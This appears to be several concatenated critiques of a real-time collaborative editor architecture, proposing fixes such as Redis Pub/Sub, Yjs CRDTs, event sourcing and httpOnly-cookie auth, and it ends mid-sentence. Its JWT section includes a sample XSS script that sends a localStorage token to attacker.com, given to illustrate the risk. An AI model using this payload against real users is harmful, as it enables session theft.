• Trade-off: 1-second window of data in Redis only (mitigate with Redis persistence)

---

7. 2-Second Polling (MASSIVE WASTE)

Problem:

• N servers × M documents × 0.5 queries/sec = database overload
• 2-second latency unacceptable for real-time

Calculation:

10 servers × 1,000 active docs × 0.5 qps = 5,000 queries/sec
Just for polling! Actual useful work is extra.

Solution: Already covered in #2 (Redis Pub/Sub)

---

8. CDN Caching API Responses (DANGEROUS)

Problem:

• 5-minute cache on collaborative document API = stale data
• Users see outdated content
• Cache invalidation nightmare

Solution: Never cache document content

Cache-Control: no-store, must-revalidate  // Document endpoints
Cache-Control: public, max-age=31536000   // Static assets only

---

🔵 IMPORTANT: Security & Reliability

9. JWT in localStorage (XSS VULNERABILITY)

Problem:

• XSS attack steals token → full account compromise for 24 hours
• No way to revoke token

Solution: HttpOnly cookies + short-lived tokens + refresh tokens

// Access token: 15 minutes, HttpOnly cookie
res.cookie('accessToken', jwt.sign({...}, secret, {expiresIn: '15m'}), {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// Refresh token: 7 days, stored in Redis for revocation
const refreshToken = crypto.randomBytes(32).toString('hex');
await redis.setex(`refresh:${userId}`, 7*24*60*60, refreshToken);

---

10. No WebSocket Authentication After Initial Connect

Problem:

• JWT expires after 24 hours but WebSocket stays open
• No re-authentication mechanism

Solution: Periodic token refresh over WebSocket

// Client
setInterval(() => {
  ws.send({type: 'REFRESH_TOKEN', token: getNewToken()});
}, 14 * 60 * 1000); // Every 14 minutes

// Server validates and updates connection auth

---

11. Single Point of Failure: PostgreSQL

Problem:

• Database down = entire system down
• No automatic failover mentioned

Solution: PostgreSQL with Patroni + HAProxy

┌─────────┐
│ HAProxy │ (virtual IP)
└────┬────┘
     ├──► [Primary] PostgreSQL + Patroni
     ├──► [Standby] PostgreSQL + Patroni  
     └──► [Standby] PostgreSQL + Patroni

• Automatic failover in <30 seconds
• Trade-off: 3x infrastructure cost

---

12. No Rate Limiting

Problem:

• Malicious user can spam operations
• DoS attack via WebSocket flooding

Solution: Token bucket rate limiter

const rateLimiter = new Map();

function checkRateLimit(userId) {
  const limit = rateLimiter.get(userId) || {tokens: 100, lastRefill: Date.now()};
  
  // Refill tokens (10 per second)
  const now = Date.now();
  const tokensToAdd = Math.floor((now - limit.lastRefill) / 100);
  limit.tokens = Math.min(100, limit.tokens + tokensToAdd);
  limit.lastRefill = now;
  
  if (limit.tokens < 1) return false;
  limit.tokens--;
  rateLimiter.set(userId, limit);
  return true;
}

---

📊 Revised Architecture

┌─────────────┐
│   Clients   │
└──────┬──────┘
       │ WSS (CRDT operations)
       ▼
┌──────────────────────────────┐
│  Load Balancer (Sticky)      │
└──────┬───────────────────────┘
       │
   ┌───┴────┬────────┬────────┐
   ▼        ▼        ▼        ▼
┌─────┐  ┌─────┐  ┌─────┐  ┌─────┐
│Node1│  │Node2│  │Node3│  │Node4│
└──┬──┘  └──┬──┘  └──┬──┘  └──┬──┘
   │        │        │        │
   └────────┴────────┴────────┘
            │
     ┌──────┴──────┐
     ▼             ▼
┌─────────┐   ┌──────────────┐
│  Redis  │   │  PostgreSQL  │
│ Pub/Sub │   │   + Patroni  │
│ + Cache │   │  (HA Cluster)│
└─────────┘   └──────────────┘

Key Changes:

1. CRDT-based operations (Yjs)
2. Redis Pub/Sub for real-time sync
3. Event sourcing with snapshots
4. Sticky sessions on load balancer
5. Redis write-through cache
6. PostgreSQL HA with Patroni
7. HttpOnly cookies for auth
8. No CDN caching of API responses

Performance Targets:

• Latency: <50ms for operations
• Throughput: 100k+ concurrent users
• Data loss: Zero (event sourcing)
• Availability: 99.95% (HA database)

Critical Analysis: Real-Time Collaborative Editor Architecture

🔴 CRITICAL ISSUES

1. Split-Brain Synchronization Between Servers

Problem: Clients connected to different servers can't see each other's changes in real-time.

• Server A receives edit from User 1 → broadcasts only to its WebSocket clients
• Server B (User 2 connected) polls DB every 2 seconds → 0-2s latency for User 2
• Creates perception of "lag" and inconsistent experience

Race Condition Example:

T0: User1 (Server A) edits para[0] = "Hello"
T1: User2 (Server B) edits para[0] = "Hi"
T2: Server A writes to DB, broadcasts to its clients
T3: Server B polls, reads User1's change, overwrites with User2's change
T4: Server B broadcasts to User2
Result: Inconsistent state between servers

Solutions:

Solution	Trade-offs
Redis Pub/Sub for inter-server messaging	+Real-time sync across servers, -Adds Redis complexity, -Message ordering guarantees needed
Use WebSocket gateway (e.g., Socket.io with Redis adapter)	+Battle-tested, -Architectural change, -Added latency layer
Event sourcing + distributed log (Kafka)	+Audit trail, +Exactly-once semantics, -Operational complexity, -Overkill for simple edits

Recommended: Redis Pub/Sub with message versioning:

// Server A receives edit
async function handleEdit(userId, docId, change, timestamp) {
  const version = await db.incrementDocVersion(docId);
  
  // Broadcast to local clients
  broadcastToLocalClients(docId, { ...change, version, timestamp });
  
  // Broadcast to all servers via Redis
  await redis.publish(`doc:${docId}`, JSON.stringify({
    type: 'edit',
    change,
    version,
    timestamp,
    serverId: process.env.SERVER_ID
  }));
  
  // Write to DB
  await db.saveChange(docId, change, version, timestamp);
}

// All servers listen
redis.subscribe(`doc:*`);
redis.on('message', (channel, message) => {
  const { docId } = parseChannel(channel);
  const { serverId, version } = JSON.parse(message);
  
  // Ignore if from own server (already broadcast)
  if (serverId === process.env.SERVER_ID) return;
  
  // Broadcast to local clients with version info
  broadcastToLocalClients(docId, JSON.parse(message));
});

---

2. Client Clock Skew Destroys Conflict Resolution

Problem: "Last-write-wins with timestamps from client clocks" is fundamentally broken.

• User A's clock is 5 seconds behind
• User A edits at 10:00:05 (their clock) = 10:00:10 (server time)
• User B edits at 10:00:08 (their clock) = 10:00:08 (server time)
• User A's edit "wins" even though User B edited later in real-time

Concrete Failure:

Real timeline:
T0 (10:00:00): User B clicks and starts typing "Hello"
T5 (10:00:05): User A clicks and types "Hi" (but A's clock says 10:00:00)
T6 (10:00:06): User B finishes typing

Server receives:
- Edit from A: timestamp=10:00:00, content="Hi"
- Edit from B: timestamp=10:00:06, content="Hello"

LWW resolution: A's edit wins (earlier timestamp)
Reality: B edited first, but loses

Solutions:

Solution	Trade-offs
Server-assigned timestamps	+Eliminates clock skew, -Requires round-trip for every keystroke, -Increases latency
Hybrid: Client timestamp + server sequence number	+Tolerates clock skew, +Low latency, -Slightly more complex conflict resolution
Operational Transformation (OT)	+Handles concurrent edits correctly, -Complex implementation, -Difficult to debug
CRDT (Conflict-free RDT)	+Mathematically sound, +Works offline, -Higher memory usage, -Larger message sizes

Recommended: Hybrid approach with server sequence numbers:

// Client sends timestamp, server assigns sequence
async function saveChange(docId, change, clientTimestamp) {
  const serverSequence = await db.getNextSequence(docId);
  const serverTimestamp = Date.now();
  
  const changeRecord = {
    docId,
    change,
    clientTimestamp,      // For audit/debugging only
    serverTimestamp,      // For ordering
    serverSequence,       // Tiebreaker
    userId,
    version
  };
  
  // Conflict resolution uses: (serverSequence, userId) not timestamps
  await db.saveChange(changeRecord);
  
  return { serverSequence, serverTimestamp };
}

// Conflict resolution
function resolveConflict(edit1, edit2) {
  // Use server sequence as source of truth
  if (edit1.serverSequence > edit2.serverSequence) return edit1;
  if (edit2.serverSequence > edit1.serverSequence) return edit2;
  
  // Tiebreaker: lexicographic on userId (deterministic)
  return edit1.userId < edit2.userId ? edit1 : edit2;
}

---

3. Last-Write-Wins Loses Content

Problem: When two users edit overlapping content, one user's work is silently deleted.

Example:

Initial: "The quick brown fox"

User A (para 0-19): Replaces with "The fast brown fox"
User B (para 4-9): Replaces with "The slow brown fox"

With LWW on timestamp:
- If B's edit has later timestamp, result: "The slow brown fox"
- User A's "fast" is lost permanently
- No conflict warning shown to either user

Why it matters: Unacceptable in production. Users lose work without knowing.

Solutions:

Solution	Trade-offs
Show conflict UI to users	+Explicit, -Interrupts flow, -Requires UX design
CRDT (Automerge/Yjs)	+Automatic sensible merges, +Offline support, -Significant rewrite
Operational Transform	+Proven (Google Docs), +Merges non-overlapping edits, -Complex, steep learning curve
Locking mechanism	+Prevents conflicts, -Reduces concurrency, -Degrades to pessimistic locking

Recommended: CRDT with Yjs (minimal rewrite):

// Replace full-snapshot storage with CRDT
import * as Y from 'yjs';

class DocumentManager {
  constructor(docId) {
    this.ydoc = new Y.Doc();
    this.ytext = this.ydoc.getText('shared');
  }
  
  // Load from DB
  async load(docId) {
    const updates = await db.getYjsUpdates(docId);
    updates.forEach(u => Y.applyUpdate(this.ydoc, Buffer.from(u)));
  }
  
  // Local edit
  applyLocalChange(index, length, text) {
    this.ytext.delete(index, length);
    this.ytext.insert(index, text);
    
    // Serialize and broadcast
    const update = Y.encodeStateAsUpdate(this.ydoc);
    return update;
  }
  
  // Remote edit
  applyRemoteUpdate(update) {
    Y.applyUpdate(this.ydoc, update);
    // Yjs automatically merges non-overlapping edits
    // Overlapping edits use deterministic CRDT rules
  }
  
  // Periodic persistence
  async saveUpdate(update) {
    await db.saveYjsUpdate(docId, update);
  }
}

---

4. Polling Every 2 Seconds Doesn't Scale

Problem: Cross-server synchronization via polling is fundamentally unscalable.

Math:

• 100 servers, 1000 documents
• Each server polls all documents every 2s
• Query load: (100 × 1000) / 2 = 50,000 queries/second
• At 10 documents per server average: still 5,000 QPS
• PostgreSQL struggles at 1,000 QPS for complex queries

Bottleneck:

-- This query runs 50,000 times/second
SELECT * FROM changes 
WHERE doc_id = ? 
AND created_at > ? 
ORDER BY created_at;

Solutions:

Solution	Trade-offs
Replace polling with Redis Pub/Sub	+O(1) message delivery, -Requires architectural change, -Redis becomes SPOF
Increase poll interval to 10s	+Reduces load, -Increases latency to 10s, -Unacceptable UX
Use database triggers + NOTIFY (PostgreSQL)	+Native, -Requires pg_listen client, -Adds complexity
Event streaming (Kafka)	+Scalable, +Audit trail, -Operational overhead

Recommended: Redis Pub/Sub (already in stack):

// Replace polling entirely
class SyncManager {
  constructor() {
    this.pubClient = redis.createClient();
    this.subClient = redis.createClient();
  }
  
  async subscribeToDocument(docId) {
    // Subscribe once per document per server
    await this.subClient.subscribe(`changes:${docId}`);
    
    this.subClient.on('message', (channel, message) => {
      const change = JSON.parse(message);
      this.broadcastToConnectedClients(docId, change);
    });
  }
  
  async publishChange(docId, change) {
    // Instant delivery to all servers
    await this.pubClient.publish(`changes:${docId}`, 
      JSON.stringify(change)
    );
  }
}

// Remove polling code entirely
// Delete: setInterval(() => pollForChanges(), 2000);

---

5. 30-Second Snapshot Interval Creates Data Loss Window

Problem: User's edits between snapshots can be lost on server crash.

Scenario:

T0: Snapshot saved (user has typed "Hello")
T15: User types " World" (not yet in snapshot)
T20: Server crashes
T25: Server restarts, loads last snapshot
Result: " World" is lost

Risk Calculation:

• Assume 1% server crash rate per day per server
• 100 servers = 1 crash per day
• Average 15 seconds of data loss per crash
• 1000 concurrent users = ~250 users lose work daily

Solutions:

Solution	Trade-offs
Write-ahead log (WAL) for every change	+No data loss, -Disk I/O overhead, -Slower writes
Reduce snapshot interval to 5s	+Less data loss window, -6x more snapshots, -DB load increases
Event sourcing: store changes, not snapshots	+Perfect audit trail, -Requires replay on load, -Slower cold starts
Redis persistence (AOF)	+Fast, +Durable, -Adds Redis complexity

Recommended: Event sourcing with periodic snapshots:

// Store individual changes, not snapshots
async function saveChange(docId, change, version) {
  await db.query(
    `INSERT INTO changes (doc_id, change_data, version, created_at) 
     VALUES ($1, $2, $3, NOW())`,
    [docId, JSON.stringify(change), version]
  );
  
  // Create snapshot every 100 changes
  const changeCount = await db.query(
    `SELECT COUNT(*) FROM changes WHERE doc_id = $1`,
    [docId]
  );
  
  if (changeCount.rows[0].count % 100 === 0) {
    await createSnapshot(docId);
  }
}

// Load document efficiently
async function loadDocument(docId) {
  // Get latest snapshot
  const snapshot = await db.query(
    `SELECT content, version FROM snapshots 
     WHERE doc_id = $1 
     ORDER BY version DESC LIMIT 1`,
    [docId]
  );
  
  // Replay changes since snapshot
  const changes = await db.query(
    `SELECT change_data, version FROM changes 
     WHERE doc_id = $1 AND version > $2 
     ORDER BY version`,
    [docId, snapshot.rows[0]?.version || 0]
  );
  
  // Reconstruct document
  let doc = snapshot.rows[0]?.content || {};
  changes.rows.forEach(row => {
    doc = applyChange(doc, JSON.parse(row.change_data));
  });
  
  return doc;
}

---

6. JWT Tokens in localStorage + 5-Minute API Cache = Authorization Bypass

Problem: Multiple authorization vulnerabilities.

Issue 1: localStorage is XSS-vulnerable

// Attacker injects script via malicious document content
<script>
  fetch('https://attacker.com?token=' + localStorage.getItem('jwt'));
</script>

Issue 2: 5-minute API cache with stale auth

T0: User logs in, gets JWT (valid)
T1: Admin revokes user's access in database
T2: User makes request (still cached, bypasses auth check)
T3: Request succeeds with revoked permissions

Issue 3: 24-hour token expiry is too long

• Stolen token can be used for 24 hours
• Revocation takes 24 hours to take effect

Solutions:

Solution	Trade-offs
httpOnly cookies + CSRF tokens	+Immune to XSS for token theft, -Requires CSRF protection, -Slightly more complex
Short-lived tokens (15 min) + refresh tokens	+Reduces window of compromise, -More refresh requests, -Requires refresh token storage
Remove API caching for auth-required endpoints	+Always enforces current permissions, -Increases load, -Reduces performance
Token revocation list (Redis)	+Instant revocation, -Redis lookup per request, -Cache invalidation complexity

Recommended: httpOnly cookies + short-lived tokens + Redis revocation:

// Auth middleware
async function authMiddleware(req, res, next) {
  const token = req.cookies.jwt; // httpOnly cookie
  
  if (!token) return res.status(401).json({ error: 'Unauthorized' });
  
  try {
    const decoded = jwt.verify(token, SECRET, { 
      algorithms: ['HS256'],
      issuer: 'https://yourdomain.com',
      audience: 'api'
    });
    
    // Check revocation list
    const isRevoked = await redis.get(`revoked:${decoded.jti}`);
    if (isRevoked) {
      return res.status(401).json({ error: 'Token revoked' });
    }
    
    req.user = decoded;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// Login endpoint
app.post('/login', async (req, res) => {
  const user = await authenticateUser(req.body);
  
  const token = jwt.sign(
    { 
      sub: user.id, 
      jti: crypto.randomUUID() // Unique token ID for revocation
    },
    SECRET,
    { 
      expiresIn: '15m',  // Short expiry
      issuer: 'https://yourdomain.com',
      audience: 'api'
    }
  );
  
  const refreshToken = jwt.sign(
    { sub: user.id },
    REFRESH_SECRET,
    { expiresIn: '7d' }
  );
  
  res.cookie('jwt', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 15 * 60 * 1000
  });
  
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000
  });
  
  res.json({ success: true });
});

// Logout endpoint
app.post('/logout', async (req, res) => {
  const token = req.cookies.jwt;
  const decoded = jwt.decode(token);
  
  // Revoke token immediately
  await redis.setex(`revoked:${decoded.jti}`, 15 * 60, '1');
  
  res.clearCookie('jwt');
  res.clearCookie('refreshToken');
  res.json({ success: true });
});

// Refresh token endpoint
app.post('/refresh', (req, res) => {
  const refreshToken = req.cookies.refreshToken;
  
  try {
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
    
    const newToken = jwt.sign(
      { sub: decoded.sub, jti: crypto.randomUUID() },
      SECRET,
      { expiresIn: '15m' }
    );
    
    res.cookie('jwt', newToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000
    });
    
    res.json({ success: true });
  } catch (err) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

---

7. CloudFront 5-Minute Cache on Dynamic API Responses

Problem: Caching API responses breaks real-time collaboration.

Scenario:

T0: User A requests document state → Server returns "Hello"
T1: User B edits document to "Hello World"
T2: User A refreshes page within 5 minutes
T3: CloudFront returns cached "Hello" (stale data)
T4: User A continues editing from stale state
T5: Conflict when both edits merge

Solutions:

Solution	Trade-offs
Remove API caching entirely (Cache-Control: no-cache)	+Always fresh, -Increases origin load, -Slower for read-heavy workloads
Separate CDN for static assets only	+Caches CSS/JS, -Doesn't cache API, -More complex routing
Cache API by document version	+Can cache longer, -Invalidation complexity, -Requires version headers
Use Cache-Control: private, max-age=0	+Browser still caches, -CDN doesn't cache, -Minimal benefit

Recommended: Separate CDN tiers:

// Static assets (cacheable)
app.use(express.static('public', {
  setHeaders: (res, path) => {
    if (path.endsWith('.js') || path.endsWith('.css')) {
      res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
      // Include hash in filename for cache busting
    }
  }
}));

// API endpoints (not cacheable)
app.get('/api/documents/:docId', (req, res) => {
  res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');
  res.setHeader('Pragma', 'no-cache');
  res.setHeader('Expires', '0');
  
  // Return document
});

// CloudFront configuration
// - Whitelist only static asset paths for caching
// - API paths bypass cache entirely
// - Use separate behaviors for different path patterns

---

🟠 MAJOR ISSUES

8. No Operational Transformation / Conflict Resolution for Overlapping Edits

Problem: Current LWW is too naive for real-time collaboration.

Document: "abcdef"

User A: Delete "c" (index 2)  → "abdef"
User B: Insert "X" at index 3 → "abcXdef"

What should happen?
- If A deletes first: "abXdef" (B's insertion shifts)
- If B inserts first: "abdXef" (A deletes from new position)

LWW just picks one completely, losing the other edit

Solutions:

Solution	Trade-offs
Implement OT (Operational Transform)	+Battle-tested (Google Docs), +Handles overlapping edits, -Complex (200+ LOC minimum), -Difficult to debug
Use CRDT library (Yjs/Automerge)	+Automatic merging, +Offline support, +Simpler than OT, -Larger message sizes, -Memory overhead
Pessimistic locking	+Prevents conflicts, -Reduces concurrency, -Poor UX (users wait for locks)

Recommended: Yjs (already mentioned in #3, but critical enough to restate):

// With Yjs, this just works
const ydoc = new Y.Doc();
const ytext = ydoc.getText('content');

// User A
ytext.delete(2, 1);  // Delete "c"

// User B (concurrent)
ytext.insert(3, 'X');  // Insert "X"

// Result: "abXdef" (deterministic, both edits preserved)

---

9. No Presence/Awareness Features

Problem: Users don't know who else is editing or where.

Risks:

• Two users unknowingly edit the same section (creates conflicts)
• Users don't see cursor positions (confusing experience)
• No indication of who made which change

Solutions:

Solution	Trade-offs
Cursor presence via WebSocket	+Real-time, +Low latency, -Requires tracking per connection
Activity log in sidebar	+Shows recent edits, -Not real-time, -Requires polling
Collaborative cursors library	+Battle-tested, +Integrates with CRDT, -Adds dependencies

Recommended: Yjs with y-protocols for awareness:

import * as Y from 'yjs';
import * as awarenessProtocol from 'y-protocols/awareness';

const ydoc = new Y.Doc();
const awareness = ydoc.awareness;

// Broadcast local state
awareness.setLocalState({
  user: {
    name: currentUser.name,
    color: currentUser.color,
    clientID: ydoc.clientID
  },
  cursor: {
    anchor: 0,
    head: 5
  }
});

// Listen for remote changes
awareness.on('change', changes => {
  changes.forEach(clientID => {
    const state = awareness.getStates().get(clientID);
    if (state) {
      renderRemoteCursor(clientID, state.cursor);
    }
  });
});

---

10. No Offline Support

Problem: Users lose connection → edits are lost.

Solutions:

Solution	Trade-offs
Local storage queue + retry	+Simple, -Manual sync logic, -Data loss on browser crash
Service Worker + IndexedDB	+Works offline, +Syncs on reconnect, -Browser storage limits, -Complexity
CRDT with local persistence	+Automatic sync, +Works offline, +Yjs has built-in support, -Larger payload

Recommended: Yjs with IndexedDB persistence:

import * as Y from 'yjs';
import { IndexeddbPersistence } from 'y-indexeddb';

const ydoc = new Y.Doc();
const persistence = new IndexeddbPersistence('document-id', ydoc);

persistence.whenSynced.then(() => {
  console.log('Loaded from IndexedDB');
});

// Works offline: edits stored in IndexedDB
ytext.insert(0, 'offline edit');

// On reconnect: automatically syncs via WebSocket

---

11. Load Balancer Round-Robin Doesn't Ensure Sticky Sessions

Problem: User reconnects → routed to different server → loses WebSocket state.

Scenario:

Request 1: User A → Load Balancer → Server 1 (WebSocket connected)
Request 2: User A → Load Balancer → Server 2 (no WebSocket state)
Result: User A's edits don't broadcast to their own clients

Solutions:

Solution	Trade-offs
Sticky sessions (IP hash or cookie)	+Keeps user on same server, -Uneven load distribution, -Server failures lose connections
Shared session store (Redis)	+Load balancer can distribute freely, +Server failures don't lose state, -Redis lookup per request
WebSocket gateway (e.g., Socket.io)	+Handles reconnection, +Automatic load balancing, -Additional latency

Recommended: Sticky sessions + Redis fallback:

// Nginx config
upstream api_servers {
  ip_hash;  // Route based on client IP
  server api1.internal:3000;
  server api2.internal:3000;
  server api3.internal:3000;
}

// Node.js: Store WebSocket metadata in Redis
const wsClients = new Map(); // Local cache

io.on('connection', (socket) => {
  const userId = socket.handshake.auth.userId;
  const serverId = process.env.SERVER_ID;
  
  // Track locally
  wsClients.set(userId, socket);
  
  // Also store in Redis for failover
  await redis.setex(
    `ws:${userId}`,
    3600,
    JSON.stringify({ serverId, socketId: socket.id })
  );
  
  socket.on('disconnect', () => {
    wsClients.delete(userId);
    await redis.del(`ws:${userId}`);
  });
});

// Broadcast to user (works across servers)
async function broadcastToUser(userId, message) {
  // Try local first
  const localSocket = wsClients.get(userId);
  if (localSocket) {
    localSocket.emit('update', message);
    return;
  }
  
  // Check Redis for user's server
  const wsInfo = await redis.get(`ws:${userId}`);
  if (wsInfo) {
    const { serverId } = JSON.parse(wsInfo);
    // Publish to that server's Redis channel
    await redis.publish(`user:${userId}:${serverId}`, JSON.stringify(message));
  }
}

---

12. No Rate Limiting

Problem: Malicious user can spam edits → DoS.

Attacker: Send 1000 edits/second
Result: Database overloaded, all users experience lag

Solutions:

Solution	Trade-offs
Token bucket per user	+Fair, +Configurable, -Requires tracking per user
Redis rate limiter	+Fast, +Distributed, -Redis lookup per request
Adaptive rate limiting	+Responds to load, -More complex

Recommended: Redis token bucket:

async function checkRateLimit(userId, docId) {
  const key = `ratelimit:${userId}:${docId}`;
  const limit = 100; // 100 edits per minute
  const window = 60;
  
  const current = await redis.incr(key);
  if (current === 1) {
    await redis.expire(key, window);
  }
  
  if (current > limit) {
    throw new Error('Rate limit exceeded');
  }
}

// Use in edit handler
io.on('connection', (socket) => {
  socket.on('edit', async (data) => {
    try {
      await checkRateLimit(socket.userId, data.docId);
      await handleEdit(data);
    } catch (err) {
      socket.emit('error', { message: 'Rate limit exceeded' });
    }
  });
});

---

13. No Audit Trail

Problem: Can't answer "who changed what when" or recover from mistakes.

Solutions:

Solution	Trade-offs
Store all changes in audit table	+Complete history, +Can restore any version, -Storage overhead
Event sourcing	+Audit trail is primary source, +Can replay, -Architectural change
Immutable log (Kafka)	+Durable, +Scalable, -Operational complexity

Recommended: Audit table (simple):

async function saveChange(docId, change, userId) {
  const changeId = crypto.randomUUID();
  
  await db.query(
    `INSERT INTO document_changes 
     (id, doc_id, user_id, change_data, created_at) 
     VALUES ($1, $2, $3, $4, NOW())`,
    [changeId, docId, userId, JSON.stringify(change)]
  );
  
  return changeId;
}

// Query audit trail
async function getHistory(docId, limit = 100) {
  return db.query(
    `SELECT id, user_id, change_data, created_at 
     FROM document_changes 
     WHERE doc_id = $1 
     ORDER BY created_at DESC 
     LIMIT $2`,
    [docId, limit]
  );
}

// Restore to specific point
async function restoreToVersion(docId, changeId) {
  const changes = await db.query(
    `SELECT change_data FROM document_changes 
     WHERE doc_id = $1 AND created_at <= 
       (SELECT created_at FROM document_changes WHERE id = $2)
     ORDER BY created_at`,
    [docId, changeId]
  );
  
  let doc = {};
  changes.rows.forEach(row => {
    doc = applyChange(doc, JSON.parse(row.change_data));
  });
  
  return doc;
}

---

🟡 MODERATE ISSUES

14. No Concurrency Control for Document Metadata

Problem: What if two users rename the same document simultaneously?

Solutions:

• Use optimistic locking with version numbers
• Serialize metadata updates through single queue

---

15. Database Read Replicas May Lag

Problem: User reads stale data from replica.

Solutions:

• Use read-after-write consistency
• Route critical reads to primary
• Use PostgreSQL logical replication (lower latency)

---

16. No Disaster Recovery Plan

Problem: Database corruption → all documents lost.

Solutions:

• Daily backups to S3
• Point-in-time recovery (PostgreSQL WAL archiving)
• Regular restore drills

---

Summary Table

Issue	Severity	Root Cause	Recommended Fix	Effort
Split-brain sync	CRITICAL	No inter-server messaging	Redis Pub/Sub	Medium
Client clock skew	CRITICAL	Client-side timestamps	Server sequence numbers	Low
LWW data loss	CRITICAL	Naive conflict resolution	CRDT (Yjs)	High
Polling scalability	CRITICAL	50k QPS polling	Redis Pub/Sub	Medium
Snapshot data loss	CRITICAL	30s window	Event sourcing	Medium
Auth bypass	CRITICAL	localStorage + cache	httpOnly + short-lived tokens	Medium
API caching	CRITICAL	CloudFront on dynamic data	Separate static/API CDN	Low
No OT/CRDT	MAJOR	Naive conflict resolution	Yjs library	High
No offline support	MAJOR	Missing persistence	IndexedDB + Yjs	Medium
Sticky sessions	MAJOR	Round-robin LB	IP hash + Redis	Low
No rate limiting	MAJOR	Missing limits	Redis token bucket	Low
No audit trail	MAJOR	Missing logging	Audit table	Low

The architecture needs a complete overhaul of the sync/conflict resolution layer. Start with Redis Pub/Sub + Yjs CRDT, then address auth and persistence.

I'll analyze this architecture systematically, identifying critical issues and proposing solutions.

Critical Issues & Solutions

1. Split-Brain Problem: WebSocket Broadcast Isolation

Issue: Changes are only broadcast to clients connected to the same server. Users on different servers experience 2+ second delays. Solution: Implement Redis Pub/Sub or message queue (RabbitMQ/Kafka)

// Current problem
server1.broadcast(change); // Only server1 clients see this immediately

// Solution
redis.publish('doc:123:changes', change); // All servers receive instantly

Trade-offs:

• ✅ Real-time sync across all servers
• ❌ Additional infrastructure complexity
• ❌ ~10-50ms latency added

2. Clock Skew in Conflict Resolution

Issue: Client clocks can differ by seconds/minutes, making last-write-wins unreliable Solution: Use Hybrid Logical Clocks (HLC) or server-assigned timestamps

// Problem
{ text: "Hello", timestamp: clientTime } // Client A: 14:30:00
{ text: "World", timestamp: clientTime } // Client B: 14:29:55 (clock behind)

// Solution with HLC
{ text: "Hello", hlc: { time: serverTime, counter: 1, clientId: "A" }}

Trade-offs:

• ✅ Guarantees causal ordering
• ❌ Requires server timestamp synchronization
• ❌ More complex implementation

3. Data Loss Window

Issue: 30-second save intervals risk losing up to 30 seconds of work Solution: Implement write-ahead log (WAL) with operation-based storage

// Store operations immediately
operations: [
  { op: 'insert', pos: 45, text: 'Hello', timestamp: ... },
  { op: 'delete', pos: 50, length: 5, timestamp: ... }
]
// Snapshot periodically for performance

Trade-offs:

• ✅ No data loss
• ✅ Enables undo/redo
• ❌ More complex storage model
• ❌ Increased storage requirements

4. PostgreSQL Polling Bottleneck

Issue: N servers polling every 2 seconds = N queries/2 seconds Solution: Replace with PostgreSQL LISTEN/NOTIFY or change data capture (CDC)

-- Real-time notifications
NOTIFY document_changes, '{"docId": 123, "change": {...}}';

-- Or use logical replication/CDC tools like Debezium

Trade-offs:

• ✅ Real-time updates
• ✅ Reduced database load
• ❌ Requires persistent connections
• ❌ More complex error handling

5. Operational Transform (OT) Missing

Issue: Paragraph-level last-write-wins loses collaborative edits Solution: Implement OT or CRDTs (Conflict-free Replicated Data Types)

// Current: entire paragraph replaced
User A: "The quick brown fox"
User B: "The quick brown fox jumps" 
Result: One user's changes lost

// With OT: operations transformed
Op A: insert(4, "very ")
Op B: insert(19, " jumps")
Result: "The very quick brown fox jumps"

Trade-offs:

• ✅ True real-time collaboration
• ✅ No lost changes
• ❌ Complex implementation
• ❌ Requires operation history

6. WebSocket Connection Management

Issue: No reconnection strategy; load balancer may route reconnections to different servers Solution: Implement sticky sessions or connection state management

// Connection state in Redis
redis.hset(`user:${userId}:connections`, {
  serverId: 'server-1',
  docId: 123,
  lastSeenOperation: 456
});

// On reconnect, route to same server or sync state

Trade-offs:

• ✅ Seamless reconnections
• ✅ Maintains client state
• ❌ Complicates load balancing
• ❌ Requires session affinity

7. JWT Security Issues

Issue: 24-hour expiry in localStorage vulnerable to XSS; no refresh mechanism Solution: Shorter-lived tokens with refresh tokens in httpOnly cookies

// Access token: 15 minutes, memory only
// Refresh token: 7 days, httpOnly cookie
// Implement token rotation on refresh

Trade-offs:

• ✅ Improved security
• ✅ XSS mitigation
• ❌ More complex auth flow
• ❌ Additional server calls

8. CDN Cache Invalidation

Issue: 5-minute API cache can serve stale document data Solution: Implement cache tags and targeted invalidation

// Tag responses
res.headers['Cache-Tag'] = `doc-${docId}`;

// Invalidate on changes
cdn.purge({ tags: [`doc-${docId}`] });

Trade-offs:

• ✅ Fresh data when needed
• ✅ Maintains CDN benefits
• ❌ Requires CDN with tag support
• ❌ Purge propagation delay

9. Database Write Bottleneck

Issue: Every keystroke writes to PostgreSQL Solution: Buffer changes in Redis, batch write to PostgreSQL

// Buffer in Redis
redis.lpush(`doc:${docId}:pending`, change);

// Batch write every 100ms or 10 operations
const batch = await redis.lrange(`doc:${docId}:pending`, 0, -1);
await postgres.insertBatch(batch);

Trade-offs:

• ✅ Reduced database load
• ✅ Better write performance
• ❌ Slight increase in complexity
• ❌ Potential data loss if Redis fails

10. No Presence Awareness

Issue: Users can't see who else is editing Solution: Implement presence system with cursor positions

// Track active users and cursor positions
presence: {
  users: {
    'user1': { cursor: 145, selection: null, color: '#FF5733' },
    'user2': { cursor: 89, selection: [89, 94], color: '#33FF57' }
  }
}

Trade-offs:

• ✅ Better collaboration UX
• ✅ Prevents edit conflicts
• ❌ Additional state management
• ❌ More WebSocket traffic

Recommended Architecture Changes

1. Replace polling with Redis Pub/Sub for real-time server-to-server communication
2. Implement CRDT-based text editing (like Yjs) for better conflict resolution
3. Add connection state management with sticky sessions or state synchronization
4. Buffer writes in Redis with asynchronous PostgreSQL persistence
5. Implement proper auth token rotation with secure storage
6. Add operation log storage instead of HTML snapshots only
7. Implement presence awareness for better collaboration

This architecture would be suitable for small-scale use but needs these fundamental changes to scale reliably for a production Google Docs-like system.

Critical Issues Analysis

1. Split-Brain Real-time Synchronization

Problem: Users connected to different API servers experience 2+ second delays due to polling mechanism, creating divergent document states and poor collaboration experience.

Solution: Implement Redis Pub/Sub or dedicated message broker (RabbitMQ/Kafka)

• Implementation: Each server publishes changes to Redis channel, all servers subscribe
• Trade-offs:
